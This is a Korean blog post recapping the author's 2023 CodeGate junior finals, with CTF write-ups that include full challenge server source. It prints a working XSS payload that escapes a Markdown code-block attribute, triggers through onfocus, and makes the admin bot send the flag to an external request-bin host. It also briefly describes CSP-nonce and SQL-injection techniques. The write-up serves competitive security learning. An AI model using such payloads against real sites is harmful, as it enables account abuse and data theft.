One_Blog

2023 CodeGate 본선 후기 + 라이트업 본문

후기,라이트업

2023 CodeGate 본선 후기 + 라이트업

0xOne 2023. 8. 28. 00:47
728x90

이번에 코드게이트 본선에 Junior CTF Player로 진출을 했다.

 

무려 44개국에서 300명 이상의 해커가 참여한 CodeGate 2023 Junior 파트..

 

사실 예선 때 26위를 해서 올해 본선은 글렀다고 생각했다.

 

그런데 코드게이트 본선 일주일전, 메일이 하나 도착했다.

 

본선 참가 메일!!

아침에 컴퓨터 켜서 메일창 보는 게 습관인 나 인데, 이걸 보자마자 아침부터 기분이 너무 좋아졌다.

 

바로 참가의사를 밝히고, 관련 서류 작성 후 본선 진출이 확정나게 되었다.

코드게이트 본선 진출자 명단. 외국인 해커들이 섞여있는 모습

 

당당하게 본선에 진출한 나

너무 너무 신이났고, 바로 코드게이트 준비를 위해 안 끝낸 드림핵 로드맵 + 워게임을 풀기 시작했고,

 

지난 주 목요일, 코드게이트 본선에서 19위를 기록하고 왔다.

 

19위면 좀 낮은 순위라 할 수도 있긴 한데, 애초에 26위였던 내가 19위까지 올라간 게 기적이라 생각하고 있고,

 

애초에 내 전공 문제 한 문제라도 풀자라는 마인드로 올라왔기에, 나한테는 19위도 감지덕지 였다.

 

일단 문제 라이트업을 작성하고, 나머지 후기를 작성하겠다.

 

1번 웹 문제 - MarkDown to XSS [Baby XSS]

const showdown  = require('showdown')
const converter = new showdown.Converter();
const express = require('express');
const bodyParser = require('body-parser');
const session = require('express-session');
const app = express();
const puppeteer = require("puppeteer");
const PORT = process.env.PORT || 9999;
const ADMIN_PASSWORD = process.env.password || "[REDACTED]";
const SECRET = process.env.secret || "[REDACTED]";
const FLAG = process.env.FLAG || "codegate2023{test-flag}";
app.use(bodyParser.urlencoded({extended:true}));
app.use(session({secret: SECRET, resave: false, saveUninitialized: true, cookie: {maxAge : 600000}}))

const visit = async (path) => {
	let browser;
    try {
		browser = await puppeteer.launch({
			headless: true,
			args: ['--no-sandbox', '--disable-dev-shm-usage', '--disable-gpu']
		});
		const page = await browser.newPage();
		await page.setCacheEnabled(false);
		await page.goto(`http://localhost:9999/login?username=admin&password=${ADMIN_PASSWORD}`, { timeout: 3000, waitUntil: 'domcontentloaded' });
		await page.goto(`http://localhost:9999/${path}`, { timeout: 3000, waitUntil: 'domcontentloaded' });
		await page.waitForTimeout(1500);
        await browser.close();
        browser = null;
	} catch (err) {
        console.log('bot error', err);
    } finally {
        if (browser) await browser.close();
    }
}

const users = [{
    "id": 1,
    "username": "admin",
    "password": ADMIN_PASSWORD
}, {
    "id": 2,
    "username": "guest",
    "password": "guest"
}];

const login = function(username, password){
	var user = users.find(user => user['username'] == username);
    if (user && user['password'] == password) {
        return user['username'];
    } else {
        return null;
    }
}

app.get("/", (req, res) => {
	if(req.session.user){
		res.send(`<h1>Welcome!! Md2Html Online</h1><br><form id="form" method="GET" action="/md2html"><textarea form="form" name="mdcode" style="width: 500px; height: 500px"></textarea><br><br><input id="submit" type="submit" name="submit" value="submit">&nbsp;&nbsp;<a href="/report">report</a>&nbsp;&nbsp;<a href="/logout">logout</a></form>`);
	}
	else{
		res.send(`<h1>Welcome!! Md2Html Online</h1><br><a href="/login">login</a></form>`)
	}
    
});

app.get("/login", (req, res) => {
	if(req.query.username && req.query.password){
		user = login(req.query.username, req.query.password);
		if(user){
			req.session.user = user;
			req.session.save(()=>{
				res.redirect("/");
			})
		}
		else{
			res.send("Invalid username or password..");
		}
	}
	else{
		res.send(`<h1>Login Page</h1><br><form method="GET" action="/login"><input type="text" name="username" placeholder="username"><br><input id="submit" type="password" name="password" placeholder="password"><br><br><input id="submit" type="submit" name="submit" value="submit"></form>`);
	}
});

app.get("/logout", (req, res) => {
	if(req.session.user){
		req.session.destroy();
	}
	res.redirect("/");
});


app.get("/md2html", (req, res) => {
	if(req.session.user){
		mdcode = req.query.mdcode;
		if(mdcode.includes('(') || mdcode.includes('<')){
			res.send("You can't use this syntax..");
		}
		else{
			res.send(converter.makeHtml(mdcode));
		}
    	
	}
	else{
		res.redirect("/login")
	}
});

app.get("/report", (req, res) => {
	if(req.session.user){
		res.send(`<h1>Report to Admin!!</h1><br><form method="POST" action="/report"><input type="text" name="path" placeholder="http://localhost:9999/{input}"><br><br><input id="submit" type="submit" name="submit" value="submit"></form>`)
	}
    else{
		res.redirect("/login")
	}
});

app.post('/report', async function(req, res){
	if(req.session.user){
		const path = req.body.path;
		visit(path);
		res.send("OK");
	}
	else{
		res.redirect("/login")
	}
});

app.post("/flag", (req, res) => {
	if(req.body.flag && req.body.url && req.session.user === "admin"){
		res.redirect(`${req.body.url}/?flag=${FLAG}`);
	}
	else{
		res.send("Nope");
	}
});

app.listen(PORT, () => {
    console.log(`server is listening at localhost:${PORT}`);
});

 

 

간단하게 마크다운 페이지를 작성하면, Html로 변환해주는 간단한 서비스였다.

 

내가 푼 문제였는데, 참고로 < 와 (는 필터링 되고 있었다.

 

페이지를 작성 가능했고, 페이지를 작성해서 Admin에게 신고가 가능했다.

 

처음엔 당연히 xss로 쿠키 탈취해서 로그인 하는 건줄 알았는데, Admin 쿠키에 HttpOnly 속성이 붙어있었다.

 

멍해진 나는 뭘 더 분석해야하나.. 싶어서 찾아봤는데,

 

/flag 엔드포인트가 존재했다.

 

/flag 엔드포인트는 post로 요청을 받고 있었고,

 

request body에 url, flag 변수가 설정되어 있고(아무 값이나 상관 X)

 

req.session == 'admin' 이라면 body에 담아 보낸 url에

 

flag를 포함해 접속한 사람을 redirect 하고 있었다.

 

방법은 xss를 이용해서 내 페이지에 방문하는 Admin을 /flag로 redirect 시키고, url에 내 서버 주소를 담아서

 

Admin이 FLAG를 가지고 내 서버에 접속하도록 유도해야했다.

 

그런데 한 가지 문제가 있었다.

 

아무리 봐도 xss를 트리거할 포인트가 보이지 않았다..

 

애초에 태그를 열 수 없다보니까 xss를 할 방법이 없어서, 마크다운 문법이 html로 변환될 때 뭔가 트리거 할 수 있는게 없을까?

 

라고 생각해보게 되었다.

 

그러다가 코드 블럭을 생성하는 ```을 이용해서 xss를 트리거할 방법을 찾게 되었다.

 

```는 코드 블럭을 생성하는 마크다운 문법이었는데, 이때 ``` 뒤에 언어를 붙여

 

어떤 언어를 사용할 지 태그에 기술할 수 있었다.

이때 함정이 있었는데, 언어 뒤에 "를 붙임으로써 class에서 escape할 수 있는 취약점이 있었다.

 

이때 code 태그의 경우, onload, onerror와 같은 속성이 작동하지 않았고,

 

onmouseover와 같은 이벤트 핸들러만 사용할 수 있었다.

 

문제는, onmouseover는 태그로는 Admin Bot에게 xss를 트리거 시킬 수 없다는 점이었다.

 

그래서 나는 다른 방법을 알아봐야 했는데, 이때 좀 삽질을 많이 했다..

 

code tag escape가 아닌 다른 방법이 있는 거 아닐까?

 

뭔가 다른 방법이 있지 않을까? 를 생각하면서 좀 삽질을 많이 했는데...

 

결론을 말하자면 내가 사용한 속성은 onfocus 속성이었다.

 

onfocus속성은 말 그대로, 태그 안에 있는 내용에 키보드 또는 마우스를 통해 집중(?)을 하게 되면

 

작동하게 되는 이벤트 핸들러 였는데, 이때 #을 이용해서 

 

따로 동작을 안해도 페이지에 접속하자마자 onfocus 핸들러를 동작시킬 수 있었다.

 

예시를 들자면,

 

code 태그에 id="foo" onfocus="javascript:alert(1)"로 설정하고, 페이지에 접속할 때 맨 뒤에 #foo를 붙이면

 

바로 foo 아이디를 가진 태그에 집중(?)을 시킬 수 있었다.

 

이를 활용해서 접속하자마자 alert를 띄우는데 성공해냈고,

 

이제 admin을 /flag로 redirect + req.body에 flag,url 변수를 담아주면 FLAG를 얻을 수 있었다.

 

이때 역대급으로 긴 xss 페이로드를 보냈는데, 페이로드는 다음과 같았다.

 

onfocus="var&#32;x=new&#32;XMLHttpRequest&#40;);x.open&#40;'POST','/flag',true);x.setRequestHeader&#40;'Content-Type','application/x-www-form-urlencoded');x.send&#40;'flag=1&url=https://neqsvno.request.dreamhack.games');window.location.href='http://localhost/flag';"

(를 쓰면 필터링되고, 띄어쓰기를 쓰면 escape가 제대로 안되기에 html hex encoding을 사용해서

 

무사히 익스플로잇을 할 수 있었다.

 

그러면 처음부터 html hex encoding로 <를 사용해서 xss를 하면 되지 않느냐?

 

라고 할 수 있는데, html hex encoding된 문자는 html 태그로써 동작하지 않는다.

 

결론적으로 

```javascript"id="foo"tabindex="0"onfocus="var&#32;x=new&#32;XMLHttpRequest&#40;);x.open&#40;'POST','/flag',true);x.setRequestHeader&#40;'Content-Type','application/x-www-form-urlencoded');x.send&#40;'flag=1&url=https://neqsvno.request.dreamhack.games');window.location.href='http://localhost/flag';","
XSSATTACK
```

다음과 같이 쓰고, 이 뒤에 #foo를 붙인 URL을 Admin에게 신고함으로써 익스플로잇을 할 수 있었고,

 

결국 FLAG를 획득할 수 있었다.

 

간추려서 써서 이정도지, 대회장에서는 개고생하고 삽질해가면서 풀어서 솔브하기 까지 시간이 꽤 많이 걸렸다..

 

2번문제 - xss with nonce [Cha's Diary]

const express = require("express");
const bodyParser = require("body-parser");
const session = require("express-session");
const { assert } = require("console");
const { sha256, random_bytes } = require("./utils");
const { visit } = require('./bot');
const genNonce = () => "_".repeat(16).replace(/_/g,()=>"abcdefghijklmnopqrstuvwxyz0123456789".charAt(Math.random()*36));
const report = new Map()
const now = () => { return Math.floor(+new Date()/1000) }

let password = "testtest"
const app = express();

app.use('/static', express.static('static'));

app.use(bodyParser.urlencoded({ extended: false }));
app.use(
    session({
        cookie: { maxAge : 600000 },
        secret: random_bytes(64),
    })
);

app.use((req, res, next)=>{
    res.nonce = genNonce();
	res.setHeader('X-Content-Type-Options','nosniff');
    res.setHeader('Access-Control-Allow-Origin','*');
    //res.setHeader('Cache-Control','max-age=3600');
	next();
})

app.engine("html", require("ejs").renderFile);
app.set("view engine", "html");

const users = new Map([
    [],
]);

const notes = new Map([
    []
]);

const share_notes = new Map([
    []
]);

app.all("/", (req, res) => {
    if (!req.session.username) {
        return res.redirect("/login");
    } else {
        return res.render("index", { username: req.session.username, notes: notes.get(req.session.username) || [] });
    }
});

app.get("/login", (req, res) => {
    if (req.session.username) {
        return res.redirect('/');
    }
    return res.render("login");
});

app.post("/login", (req, res) => {
    if (req.session.username) {
        return res.redirect('/');
    }
    const { username, password } = req.body;

    if ( username.length < 4 || username.length > 10 || typeof username !== 'string' || password.length < 6 || typeof password !== 'string') {
        return res.render('login', { msg: "invalid data" });
    }

    if (users.has(username)) {
        if (users.get(username) === sha256(password)) {
            req.session.username = username;

            return res.redirect("/");
        } else {
            return res.render("login", { msg: "Invalid Password" });
        }
    } else {
        users.set(username, sha256(password));
        req.session.username = username;

        return res.redirect("/");
    }
});

app.post('/write', (req, res) => {
    if (!req.session.username) {
        return res.redirect('/');
    }
    const username = req.session.username;
    const { title, content } = req.body;

    assert(title && typeof title === "string" && title.length < 30);
    assert(content && typeof content === "string" && content.length < 5000);

    const user_notes = notes.get(username) || [];
    user_notes.push({
        title,
        content,
        username
    });
    notes.set(req.session.username, user_notes);

    return res.redirect('/');
});

app.get('/read', (req, res) => {
    if (!req.session.username) {
        return res.redirect('/');
    }

    return res.render('read', {nonce: res.nonce}); 
});

app.get('/read/:id', (req, res) => {
    if (!req.session.username) {
        return res.redirect('/');
    }

    const { id } = req.params;
    if(!/^\d+$/.test(id)) {
        return res.json({status: 401, message: 'Invalid parameter'});
    }

    const user_notes = notes.get(req.session.username);
    const found = user_notes && user_notes[id];

    if (found) {
        return res.json({title: found.title, content: found.content});
    } else {
        return res.json({title: '404 not found', content: 'no such note'});
    }
});

app.get('/share_diary/:id', (req, res) => {
    if (!req.session.username) {
        return res.redirect("/");
    }
    const tmp = share_notes.get(req.session.username) || [];
    const { id } = req.params;

    if(!/^\d+$/.test(id)) {
        return res.json({status: 401, message: 'Invalid parameter'});
    }

    const user_notes = notes.get(req.session.username);
    const found = user_notes && user_notes[id];
    if (found) {
        tmp.push(found);
        share_notes.set(req.session.username, tmp);
        return res.redirect('/share');
    } else {
        return res.json({title: '404 not found', content: 'no such note'});
    }
});

app.all('/share', (req, res) => {
    if (!req.session.username) {
        return res.redirect("/login");
    } else {
        return res.render("share", { notes: share_notes.get(req.session.username) || [] });
    }
});

app.get('/share/read', (req, res) => {
    return res.render('read_share', {nonce: res.nonce}); 
});

app.get('/share/read/:id', (req, res) => {
    const { id } = req.params;
    const username = req.query.username;

    let found;
    if(!/^\d+$/.test(id)) {
        return res.json({status: 401, message: 'Invalid parameter'});
    }
    try {
        if (username !== undefined) {
            found = share_notes.get(username);
            if(found) {
                return res.json({title: found[id].title, content: found[id].content, username: found[id].username});
            }
        } else if(req.session.username) {
            found = share_notes.get(req.session.username);
            if(found) {
                return res.json({title: found[id].title, content: found[id].content, username: found[id].username});
            }
        }
    } catch {
        return res.json({title: '404 not found', content: 'no such note'});
    }
    return res.json({title: '404 not found', content: 'no such note'});
});

app.all("/logout", (req, res) => {
    req.session.destroy();
    return res.redirect('/');
});

app.get('/report',(req, res) => {
    if (!req.session.username) {
        return res.redirect("/login");
    }
    const id = req.query.id;
    const username = req.query.username;
    if (typeof id === 'string' && /^\d+$/.test(id)) {
        try {
            if(report.has(req.session.username) && report.get(req.session.username)+30 > now()) {
		        return res.json({ error: 'too fast'});
	        }
	        report.set(req.session.username, now());
            visit(id, username);
            return res.json({ msg: 'visited' });
        } catch (e) {
            return res.status(500).json({ error: 'failed' });
        }
    }
    res.status(400).json({ error: 'bad url' });
});

app.listen(80);
console.log("Server running on 80....");
const puppeteer = require('puppeteer')
const { random_bytes } = require("./utils");

const flag = fs.readFileSync("/flag.txt").toString();

async function visit(id, username) {
    const browser = await puppeteer.launch({
        args: [
            "--no-sandbox",
            "--headless"
        ],
        executablePath: '/usr/bin/google-chrome'
    })
    try {
        let page = await browser.newPage()

        await page.goto(`http://localhost/login`)

        await page.waitForSelector('#username')
        await page.focus('#username')
        await page.keyboard.type(random_bytes(10), { delay: 10 })

        await page.waitForSelector('#password')
        await page.focus('#password')
        await page.keyboard.type(random_bytes(20), { delay: 10 })

        await new Promise(resolve => setTimeout(resolve, 300))
        await page.click('#submit')
        await new Promise(resolve => setTimeout(resolve, 300))

        page.setCookie({
            "name": "FLAG",
            "value": flag,
            "domain": "localhost",
            "path": "/",
            "httpOnly": false,
            "sameSite": "Strict"
        })

        await page.goto(`http://localhost/share/read#id=${id}&username=${username}`, { timeout: 5000 })
        await new Promise(resolve => setTimeout(resolve, 30000))
        await page.close()
        await browser.close()
    } catch (e) {
        console.log(e)
        await browser.close()
    }

}

module.exports = { visit }
const crypto = require('crypto');

const sha256 = plain => crypto.createHash('sha256').update(plain.toString()).digest('hex');
const random_bytes = size => crypto.randomBytes(size).toString();

module.exports = {
    sha256,
    random_bytes
}

 

이번에도 맥락 자체는 1번과 비슷했는데, (xss 트리거 후 admin에게 report)

 

nonce CSP 정책이 설정되어 있었다.

 

서버 자체에서 Math.random과 문자열을 적절히 조합해서 nonce값을 생성하고 있었는데, 이때 

 

Math.random() 함수는 몇개의 test case를 통해 Predict 하는 것이 가능했다.

 

나도 대회장에서 문제 풀 때 이쪽으로 접근했었는데 실패해서 결국 못 푼 문제이다..

 

답답함에 이 문제를 풀었던 외국 해커(1등함 ㄷㄷ;)에게 문제 관련해서 질문을 했고,

 

매우 친절한 답변을 받을 수 있었다.

 

외국 G O A T Hacker... Thank you So much, IcesFont!

이 IcesFont 갓커님은 심지어 대회에서 1등까지 하셨는데, 인성과 실력을 겸비한 훌륭한 해커의 표본이 이 분이 아닌가 싶다..

 

아무튼 좀 해석을 해보자면, 2가지 방법이 있었다.

 

일단 첫번째 방법이 Math.Random을 이용한 방법.

 

이게 나중에 알고보니 약간 언인텐(?) 풀이였다.

 

Math.random함수는 결과값을 통해 다음 뽑아낼 난수가 무엇인지 예측하는 것이 가능했고,

 

그렇기 때문에 nonce값을 뽑아내는 것도 가능했다.

 

외국인 해커가 준 자료와 링크를 보면 관련해서 공부를 해볼 수 있다.

 

이것까지 쓰면 글이 너무 길어져 생략하도록 하겠다..

 

그 다음 2번째 방법은 외국인 해커가 말한 2번째 방법이자 Official 풀이이다.

브라우저 캐싱을 이용한 방법인데, CSS Injection을 통해서 한번에 하나의 Script Nonce를 뽑아낼 수 있었다.

 

추출한 nonce값을 통해 script태그에 nonce값을 섞어 xss -> Admin 쿠키 탈취를 하면 FLAG를 얻을 수 있었다.

 

3번째 문제 - _를 이용한 SQL Injection [BugTopic]

 

이거는 내가 많이 보지도 않았고, 자세한 풀이도 듣지 못해서 짧게 어떤 취약점이 활용되었는가?

 

에 대해서만 설명하도록 하겠다. 일단 SQL Injection 취약점 자체는 발생했는데,

 

문제는 '와 %를 필터링하고 있어서 Escape자체가 안됐다.

 

근데 그때 SQL 구문이 대강 like '%%'로 이루어져 있어서, _를 이용해서 데이터를 뽑아내는 것이 가능했다.

 

문제를 잠깐 봤기 때문에 이 정도만 설명하고 끝내도록 하겠다.

 

확실히 명불허전 세계 3대 국제 해킹방어 대회이자, 국내 최대 규모 대회 답게 문제도 엄청 어려웠고,

 

유명한 사람들도 많이 볼 수 있었다. 개인적으로 대회장 규모나 숙소 지원, 식사 등은 CCE가 좀 더 좋았던거 같긴한데,

 

그건 자본의 문제니까 어쩔 수 없다고 생각한다.

 

이게 내가 다 풀어서 설명해놓으니까 쉬워보일 수 있는데, 원래 어떤 문제든 분석 해놓은 거 읽고 이해하는 건 쉽다..

 

이번에는 비록 19등으로 본선을 끝마쳤지만, 내년에는 꼭 3등안에 들어서 당당하게 상을 탔으면 좋겠다!

 

그래도 나름 이렇게 큰 규모 대회에서 내 전공 문제를 풀 수 있어 상당히 기분이 좋았다.

 

심지어 수상 못해도 무대 위에 올려주고 사진도 찍어줘서 더 좋았다. (^^)

 

다음엔 꼭,,, 3등안에 들기를...!

 

읽어주셔서 감사합니다.

 

내일 해킹캠프 라이트업 + 후기도 올릴 건데 관심 많이 가져주시기 바랍니다!

코드게이트 본선 music-request 채널, 이세계 아이돌 노래가 요청된 모습이다. (자장가는 뭐지..)

 

부족한 점이나 오류 있으면 알려주세요!

 

웹 해킹+개발 시작한 지 9개월만에 코드게이트, CCE 본선가서 문제 푸는 사람? ㅋㅋ 지렸다 ㅇㅈ?